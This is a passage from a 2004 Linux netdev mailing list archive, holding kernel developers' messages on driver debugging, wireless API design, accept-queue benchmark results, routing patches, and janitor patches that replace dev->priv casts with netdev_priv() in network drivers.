0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3733 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 374 Lines: 13 > eisa_bus_match dev sig='HWPC061' state=0x1 eids=HWPF180 > eisa_bus_match dev sig='HWP1940' state=0x3 eids=HWPF180 > > without: > > eisa_bus_match dev sig='HWPC061' state=0x1 eids=HWPF180 > eisa_bus_match dev sig='HWP1940' state=0x0 eids=HWPF180 > > when modprobing hp100. The name HWP1940 is in the table, so that looks okay. Can you build with HP100_DEBUG defined? From jt@bougret.hpl.hp.com Thu Mar 4 09:34:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 09:34:17 -0800 (PST) Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24HYFKO023176 for ; Thu, 4 Mar 2004 09:34:15 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel13.hp.com (Postfix) with ESMTP id 16EC11C015DD; Thu, 4 Mar 2004 09:34:15 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id JAA05857; Thu, 4 Mar 2004 09:34:11 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1Aywja-00016E-00; Thu, 04 Mar 2004 09:34:10 -0800 Date: Thu, 4 Mar 2004 09:34:10 -0800 To: Jeff Garzik Cc: Pavel Roskin , Netdev Subject: Re: linux-wireless mailing list Message-ID: <20040304173410.GA4197@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <40469DA1.9090502@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40469DA1.9090502@pobox.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3734 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 1391 Lines: 32 On Wed, Mar 03, 2004 at 10:08:17PM -0500, Jeff Garzik wrote: > > The wireless extensions are utility -- they work, but are not beautiful. > I am presently writing the driver for the RealTek wireless card, and > in the process creating a small wireless driver API. The ideal is to > avoid ioctls, and instead to present extensible, type-safe interfaces. > This is what I would like wireless extensions to morph into. Just for the record. The new driver API of WE is no longer tied to ioctls. The goal was to change the external API to RtNetlink, but I got distracted. But, you could imagine plugging the driver API to a file system (there is so many of them, take your pick). I believe that migrating the external API to RtNetlink would address 99% of your concerns, isn't it ? If this is the case, then we could work to make this happen. I've always say that the mechanism of the API does not matter, what matter is the standardisation of the parameters and data types. > Absolutely. David Miller, Arnaldo Carvalho de Melo, and myself all seem > to feel that a net/802_11 directory and associated code would be useful. > There is definitely an area for code commonality across drivers. 1) Please don't start from scratch. 2) Please keep the 802.2 and 802.11 part separated. Actually, getting 802.2 alone would be so useful. > Best regards and welcome, > > Jeff Jean From brazilnut@us.ibm.com Thu Mar 4 10:31:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 10:31:48 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24IVjKO003948 for ; Thu, 4 Mar 2004 10:31:45 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i24IVcZ2368546; Thu, 4 Mar 2004 13:31:38 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i24IVaKf112012; Thu, 4 Mar 2004 13:31:36 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i24AVCg01582; Thu, 4 Mar 2004 02:31:12 -0800 From: Don Fry Message-Id: <200403041031.i24AVCg01582@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.4-rc2] netdevice.h add netif_msg_init helper To: jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 4 Mar 2004 02:31:11 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3735 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch adds a helper function to initialize the debug bit mask for use with netif_msg_*. --- linux-2.6.4-rc2/include/linux/orig.netdevice.h Thu Mar 4 09:59:08 2004 +++ linux-2.6.4-rc2/include/linux/netdevice.h Thu Mar 4 10:01:19 2004 @@ -774,6 +774,16 @@ #define netif_msg_hw(p) ((p)->msg_enable & NETIF_MSG_HW) #define netif_msg_wol(p) ((p)->msg_enable & NETIF_MSG_WOL) +static inline u32 netif_msg_init(int debug_value, int default_msg_enable_bits) +{ + if (debug_value < 0) /* use default */ + return default_msg_enable_bits; + if (debug_value == 0) /* no output */ + return 0; + /* set low N bits */ + return(((debug_value >= (sizeof(u32)*8)) ? 0 : (1 << debug_value)) - 1); +} + /* Schedule rx intr now? */ static inline int netif_rx_schedule_prep(struct net_device *dev) -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Thu Mar 4 11:06:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 11:06:17 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24J69KO013734 for ; Thu, 4 Mar 2004 11:06:16 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i24J63Z2416400; Thu, 4 Mar 2004 14:06:03 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i24J6CIe101066; Thu, 4 Mar 2004 14:06:12 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i24B5bZ01272; Thu, 4 Mar 2004 03:05:37 -0800 From: Don Fry Message-Id: <200403041105.i24B5bZ01272@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.4-rc2] netdevice.h add netif_msg_init helper To: jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 4 Mar 2004 03:05:37 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3736 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch adds a helper function to initialize the debug bit mask for use with netif_msg_*. When the debug_value is out of range it returns the default_msg_enable_bits. --- linux-2.6.4-rc2/include/linux/orig.netdevice.h Thu Mar 4 09:59:08 2004 +++ linux-2.6.4-rc2/include/linux/netdevice.h Thu Mar 4 10:56:19 2004 @@ -774,6 +774,17 @@ #define netif_msg_hw(p) ((p)->msg_enable & NETIF_MSG_HW) #define netif_msg_wol(p) ((p)->msg_enable & NETIF_MSG_WOL) +static inline u32 netif_msg_init(int debug_value, int default_msg_enable_bits) +{ + /* use default */ + if (debug_value < 0 || debug_value > (sizeof(u32) * 8)) + return default_msg_enable_bits; + if (debug_value == 0) /* no output */ + return 0; + /* set low N bits */ + return(((debug_value == (sizeof(u32)*8)) ? 0 : (1 << debug_value)) - 1); +} + /* Schedule rx intr now? */ static inline int netif_rx_schedule_prep(struct net_device *dev) -- Don Fry brazilnut@us.ibm.com From kashyapv@us.ibm.com Thu Mar 4 12:52:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 12:52:46 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24KqaKO011793 for ; Thu, 4 Mar 2004 12:52:43 -0800 Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.195.12]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i24KqIrj335024; Thu, 4 Mar 2004 15:52:18 -0500 Received: from DYN319495.beaverton.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay03.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i24KqHQc192546; Thu, 4 Mar 2004 13:52:18 -0700 Date: Thu, 4 Mar 2004 12:51:18 -0800 (PST) From: Vivek Kashyap X-X-Sender: kashyapv@dyn319495.beaverton.ibm.com To: "David S. Miller" cc: Ronghua Zhang , Subject: Re: [PATCH] proportional share accept() In-Reply-To: <20040227141321.04e2ffb4.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3737 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kashyapv@us.ibm.com Precedence: bulk X-list: netdev The following results show the efficacy of the patch for proportional share accept queues. I utilised Apache with no changes in configuration. Then used httperf to on three different machines. Did not change any parameters on the server or the client machines. Ran httperf to get the default test.html page repeatedly: /httperf --server xx.xx.xx.xx --port 80 --uri /test.html --rate 2000 \ --num-conn 100000 --num-call 1 --timeout 5 Three clients simultaneously bombarded the server. When the shares patch is not used the three clients get about equal service. With the proportional shares patch the favoured client gets a proportional number of its requests services in much shorter time. With port redirection the results are much poorer. The conntrack module is randomly dropping some of the requests too since its hash table gets full. The application will further require modification to provide proportional shares which is much more work. 1. The results without utilising the shares are: Total: connections 41993 requests 37195 replies 36951 test-duration 52.984 s Reply rate [replies/s]: min 646.1 avg 723.0 max 946.5 stddev 95.1 (10 samples) Reply time [ms]: response 151.3 transfer 0.0 Total: connections 41972 requests 37132 replies 37081 test-duration 52.996 s Reply rate [replies/s]: min 674.7 avg 724.9 max 805.3 stddev 35.1 (10 samples) Reply time [ms]: response 95.0 transfer 0.0 Total: connections 47171 requests 43037 replies 42991 test-duration 53.122 s Reply rate [replies/s]: min 777.2 avg 844.2 max 895.1 stddev 39.3 (10 samples) Reply time [ms]: response 92.1 transfer 0.0 2. With proportional share patch: The shares are were assigned in the ratio: 1:3:6. The results are listed in order: Total: connections 21566 requests 14695 replies 14251 test-duration 52.947 s Reply rate [replies/s]: min 208.0 avg 268.0 max 730.0 stddev 162.4 (10 samples) Reply time [ms]: response 518.3 transfer 0.0 Total: connections 41016 requests 34110 replies 34060 test-duration 52.981 s Reply rate [replies/s]: min 632.9 avg 667.9 max 707.5 stddev 20.1 (10 samples) Reply time [ms]: response 204.4 transfer 0.0 Total: connections 71264 requests 67089 replies 67008 test-duration 53.003 s Reply rate [replies/s]: min 1214.3 avg 1323.1 max 1366.7 stddev 44.2 (10 samples) Reply time [ms]: response 110.5 transfer 0.0 3. Port redirect test As a test case then modified httpd.conf to listen on three ports 8081/82/83. Used iptables REDIRECT target to forward the packets to these ports. The clients still communicate with port 80. As expected the results are not as good. Total: connections 33104 requests 27385 replies 26845 test-duration 54.992 s Reply rate [replies/s]: min 325.8 avg 534.9 max 868.5 stddev 205.0 (10 samples) Reply time [ms]: response 300.1 transfer 0.0 Total: connections 28022 requests 21536 replies 21391 test-duration 54.994 s Reply rate [replies/s]: min 2.0 avg 427.8 max 686.8 stddev 211.7 (10 samples) Reply time [ms]: response 309.8 transfer 0.0 Total: connections 27452 requests 21045 replies 20907 test-duration 54.992 s Reply rate [replies/s]: min 1.4 avg 418.1 max 632.7 stddev 208.2 (10 samples) Reply time [ms]: response 310.0 transfer 0.0 Vivek From ja@ssi.bg Thu Mar 4 12:56:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 12:56:44 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24KuaKO013115 for ; Thu, 4 Mar 2004 12:56:39 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i24KuQml003257; Thu, 4 Mar 2004 22:56:26 +0200 Date: Thu, 4 Mar 2004 22:56:26 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: niv@us.ibm.com, ak@suse.de, ruddk@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, chester.f.johnson@intel.com Subject: Re: PMTU issues due to TOS field manipulation (for DSCP) In-Reply-To: <20040304013618.31a827ba.davem@redhat.com> Message-ID: References: <20031212003143.062598e9.davem@redhat.com> <20040304013618.31a827ba.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3738 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Thu, 4 Mar 2004, David S. Miller wrote: > Julian, I'd like to bring this back to life. Can you post a new version > of the ip_rt_ignore_tos patch against current 2.6.x? Done. Essentially, this patch combines the last posted two diff files: http://www.ssi.bg/~ja/tmp/tos-6.diff > We'll discuss and integrate just like for the ARP stuff. > > Sorry for sitting on this for so long, been busy... np, the remaining questions are: - do we need to walk all tos values for ip_rt_redirect in the same way as for ip_rt_frag_needed, if yes, how to name this flag? icmp_redirect_tos_mode? match_tos_on_redirect? May be pmtu_mode can be renamed to match_tos_on_pmtu? - from another thread: whether ICMP redirects modify only routes via gateway when shared_media is ON: http://marc.theaimsgroup.com/?l=linux-netdev&m=107109827516060&w=2 At the final I'll change some doc files to explain the new flags. Regards -- Julian Anastasov From rddunlap@osdl.org Thu Mar 4 13:15:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:15:44 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LFfKO016331 for ; Thu, 4 Mar 2004 13:15:41 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LFaE27525 for ; Thu, 4 Mar 2004 13:15:36 -0800 Date: Thu, 4 Mar 2004 13:14:43 -0800 From: "Randy.Dunlap" To: netdev Subject: [janitor] "Lots of unnecessary casts in drivers can be removed" Message-Id: <20040304131443.62c34eaf.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3740 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 806 Lines: 33 [resend] Dave Jones wrote: - Lots of unnecessary casts in drivers can be removed. (from the KJ TODO list). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From: Carlo Perassi Carlo sent patches to remove unneeded casts from 90 files. Most of them are in drivers/net/ and will follow... (not one per file but grouped into families). and Russell King wrote about the first round of patches: } I think we should really consider using netdev_priv() in all these places } so the compiler knows that 'dev' and 'priv' are related. so this set of patches in round 2 teaches net drivers to use netdev_priv() in addition to eliminating the unneeded casts. Here they are again.... Please apply/merge to 2.6.4-rc-current. Built as much as I have possible, and running with eepro100. -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:18:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:18:15 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LIDKO016997 for ; Thu, 4 Mar 2004 13:18:13 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LI7E28606 for ; Thu, 4 Mar 2004 13:18:07 -0800 Date: Thu, 4 Mar 2004 13:17:15 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in appletalk & fc Message-Id: <20040304131715.757b7f48.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3741 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 5982 Lines: 182 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/appletalk/cops.c | 26 +++++++-------- linux-264-302-priv-rddunlap/drivers/net/fc/iph5526.c | 8 ++-- 2 files changed, 17 insertions(+), 17 deletions(-) diff -puN drivers/net/appletalk/cops.c~net_atalk_fc_casts drivers/net/appletalk/cops.c --- linux-264-302-priv/drivers/net/appletalk/cops.c~net_atalk_fc_casts 2004-03-02 15:16:36.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/appletalk/cops.c 2004-03-02 15:27:01.000000000 -0800 @@ -333,7 +333,7 @@ static int __init cops_probe1(struct net dev->base_addr = ioaddr; - lp = (struct cops_local *)dev->priv; + lp = netdev_priv(dev); memset(lp, 0, sizeof(struct cops_local)); spin_lock_init(&lp->lock); @@ -422,7 +422,7 @@ static int __init cops_irq (int ioaddr, */ static int cops_open(struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = netdev_priv(dev); if(dev->irq==0) { @@ -456,7 +456,7 @@ static int cops_open(struct net_device * */ static int cops_jumpstart(struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = netdev_priv(dev); /* * Once the card has the firmware loaded and has acquired @@ -490,7 +490,7 @@ static void tangent_wait_reset(int ioadd */ static void cops_reset(struct net_device *dev, int sleep) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = netdev_priv(dev); int ioaddr=dev->base_addr; if(lp->board==TANGENT) @@ -525,7 +525,7 @@ static void cops_load (struct net_device { struct ifreq ifr; struct ltfirmware *ltf= (struct ltfirmware *)&ifr.ifr_data; - struct cops_local *lp=(struct cops_local *)dev->priv; + struct cops_local *lp = netdev_priv(dev); int ioaddr=dev->base_addr; int length, i = 0; @@ -618,7 +618,7 @@ static void cops_load (struct net_device */ static int cops_nodeid (struct net_device *dev, int nodeid) { - struct cops_local *lp = (struct cops_local *) dev->priv; + struct cops_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; if(lp->board == DAYNA) @@ -730,7 +730,7 @@ static irqreturn_t cops_interrupt(int ir int boguscount = 0; ioaddr = dev->base_addr; - lp = (struct cops_local *)dev->priv; + lp = netdev_priv(dev); if(lp->board==DAYNA) { @@ -765,7 +765,7 @@ static void cops_rx(struct net_device *d int pkt_len = 0; int rsp_type = 0; struct sk_buff *skb = NULL; - struct cops_local *lp = dev->priv; + struct cops_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int boguscount = 0; unsigned long flags; @@ -869,7 +869,7 @@ static void cops_rx(struct net_device *d static void cops_timeout(struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; lp->stats.tx_errors++; @@ -891,7 +891,7 @@ static void cops_timeout(struct net_devi static int cops_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; unsigned long flags; @@ -966,7 +966,7 @@ static int cops_hard_header(struct sk_bu static int cops_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = netdev_priv(dev); struct sockaddr_at *sa = (struct sockaddr_at *)&ifr->ifr_addr; struct atalk_addr *aa = (struct atalk_addr *)&lp->node_addr; @@ -1002,7 +1002,7 @@ static int cops_ioctl(struct net_device static int cops_close(struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = netdev_priv(dev); /* If we were running polled, yank the timer. */ @@ -1019,7 +1019,7 @@ static int cops_close(struct net_device */ static struct net_device_stats *cops_get_stats(struct net_device *dev) { - struct cops_local *lp = (struct cops_local *)dev->priv; + struct cops_local *lp = netdev_priv(dev); return &lp->stats; } diff -puN drivers/net/fc/iph5526.c~net_atalk_fc_casts drivers/net/fc/iph5526.c --- linux-264-302-priv/drivers/net/fc/iph5526.c~net_atalk_fc_casts 2004-03-02 15:16:36.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/fc/iph5526.c 2004-03-02 15:30:14.000000000 -0800 @@ -238,7 +238,7 @@ int __init iph5526_probe(struct net_devi static int __init iph5526_probe_pci(struct net_device *dev) { - struct fc_info *fi = (struct fc_info *)dev->priv; + struct fc_info *fi = netdev_priv(dev); fi->dev = dev; dev->base_addr = fi->base_addr; dev->irq = fi->irq; @@ -2908,7 +2908,7 @@ static int iph5526_close(struct net_devi static void iph5526_timeout(struct net_device *dev) { - struct fc_info *fi = (struct fc_info*)dev->priv; + struct fc_info *fi = netdev_priv(dev); printk(KERN_WARNING "%s: timed out on send.\n", dev->name); fi->fc_stats.rx_dropped++; dev->trans_start = jiffies; @@ -2917,7 +2917,7 @@ static void iph5526_timeout(struct net_d static int iph5526_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct fc_info *fi = (struct fc_info*)dev->priv; + struct fc_info *fi = netdev_priv(dev); int status = 0; short type = 0; u_long flags; @@ -3688,7 +3688,7 @@ int count = 0, j; static struct net_device_stats * iph5526_get_stats(struct net_device *dev) { -struct fc_info *fi = (struct fc_info*)dev->priv; +struct fc_info *fi = netdev_priv(dev); return (struct net_device_stats *) &fi->fc_stats; } _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:18:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:18:31 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LIRKO017100 for ; Thu, 4 Mar 2004 13:18:28 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LIME28644 for ; Thu, 4 Mar 2004 13:18:22 -0800 Date: Thu, 4 Mar 2004 13:17:30 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in tap/tun/plip/loop/skel Message-Id: <20040304131730.19dfeef9.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3742 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 14353 Lines: 425 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/ethertap.c | 12 +++--- linux-264-302-priv-rddunlap/drivers/net/isa-skeleton.c | 18 ++++----- linux-264-302-priv-rddunlap/drivers/net/loopback.c | 2 - linux-264-302-priv-rddunlap/drivers/net/plip.c | 32 ++++++++--------- linux-264-302-priv-rddunlap/drivers/net/tun.c | 22 +++++------ 5 files changed, 43 insertions(+), 43 deletions(-) diff -puN drivers/net/ethertap.c~net_generic_casts drivers/net/ethertap.c --- linux-264-302-priv/drivers/net/ethertap.c~net_generic_casts 2004-03-03 10:33:04.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/ethertap.c 2004-03-03 10:53:18.000000000 -0800 @@ -121,7 +121,7 @@ out: static int ethertap_open(struct net_device *dev) { - struct net_local *lp = (struct net_local*)dev->priv; + struct net_local *lp = netdev_priv(dev); if (ethertap_debug > 2) printk(KERN_DEBUG "%s: Doing ethertap_open()...", dev->name); @@ -150,7 +150,7 @@ static unsigned ethertap_mc_hash(__u8 *d static void set_multicast_list(struct net_device *dev) { unsigned groups = ~0; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (!(dev->flags&(IFF_NOARP|IFF_PROMISC|IFF_ALLMULTI))) { struct dev_mc_list *dmi; @@ -176,7 +176,7 @@ static void set_multicast_list(struct ne static int ethertap_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); #ifdef CONFIG_ETHERTAP_MC struct ethhdr *eth = (struct ethhdr*)skb->data; #endif @@ -234,7 +234,7 @@ static int ethertap_start_xmit(struct sk static __inline__ int ethertap_rx_skb(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); #ifdef CONFIG_ETHERTAP_MC struct ethhdr *eth = (struct ethhdr*)(skb->data + 2); #endif @@ -320,7 +320,7 @@ static void ethertap_rx(struct sock *sk, static int ethertap_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); struct sock *sk = lp->nl; if (ethertap_debug > 2) @@ -338,7 +338,7 @@ static int ethertap_close(struct net_dev static struct net_device_stats *ethertap_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); return &lp->stats; } diff -puN drivers/net/isa-skeleton.c~net_generic_casts drivers/net/isa-skeleton.c --- linux-264-302-priv/drivers/net/isa-skeleton.c~net_generic_casts 2004-03-03 10:33:04.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/isa-skeleton.c 2004-03-03 10:54:41.000000000 -0800 @@ -303,7 +303,7 @@ static int __init netcard_probe1(struct } #endif /* jumpered DMA */ - np = (struct net_local *)dev->priv; + np = netdev_priv(dev); spin_lock_init(&np->lock); dev->open = net_open; @@ -326,7 +326,7 @@ out: static void net_tx_timeout(struct net_device *dev) { - struct net_local *np = (struct net_local *)dev->priv; + struct net_local *np = netdev_priv(dev); printk(KERN_WARNING "%s: transmit timed out, %s?\n", dev->name, tx_done(dev) ? "IRQ conflict" : "network cable problem"); @@ -361,7 +361,7 @@ static void net_tx_timeout(struct net_de static int net_open(struct net_device *dev) { - struct net_local *np = (struct net_local *)dev->priv; + struct net_local *np = netdev_priv(dev); int ioaddr = dev->base_addr; /* * This is used if the interrupt line can turned off (shared). @@ -399,7 +399,7 @@ net_open(struct net_device *dev) */ static int net_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *np = (struct net_local *)dev->priv; + struct net_local *np = netdev_priv(dev); int ioaddr = dev->base_addr; short length = ETH_ZLEN < skb->len ? skb->len : ETH_ZLEN; unsigned char *buf = skb->data; @@ -465,7 +465,7 @@ static int net_send_packet(struct sk_buf */ void net_tx(struct net_device *dev) { - struct net_local *np = (struct net_local *)dev->priv; + struct net_local *np = netdev_priv(dev); int entry; /* This protects us from concurrent execution of @@ -508,7 +508,7 @@ static irqreturn_t net_interrupt(int irq ioaddr = dev->base_addr; - np = (struct net_local *)dev->priv; + np = netdev_priv(dev); status = inw(ioaddr + 0); if (status == 0) @@ -539,7 +539,7 @@ out: static void net_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int boguscount = 10; @@ -591,7 +591,7 @@ net_rx(struct net_device *dev) static int net_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; lp->open_time = 0; @@ -620,7 +620,7 @@ net_close(struct net_device *dev) */ static struct net_device_stats *net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); short ioaddr = dev->base_addr; /* Update the statistics from the device registers. */ diff -puN drivers/net/loopback.c~net_generic_casts drivers/net/loopback.c --- linux-264-302-priv/drivers/net/loopback.c~net_generic_casts 2004-03-03 